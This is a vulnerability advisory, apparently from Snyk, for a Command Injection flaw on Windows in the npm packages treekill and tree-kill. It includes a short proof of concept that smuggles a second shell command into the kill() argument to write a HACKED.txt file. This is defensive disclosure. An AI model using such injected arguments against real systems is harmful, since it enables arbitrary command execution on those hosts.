Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for treekill
.
treekill is a package for treekill process and it's all children and child offspring children.
Affected versions of this package are vulnerable to Command Injection. User input is concatenated with a command
within tree-kill
and treekill
that will be executed without any check.
Note: This vulnerability is only applicable if the package is used on a Windows operating system.
//poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
HACKED.txt
will be created, containing the HACKED
string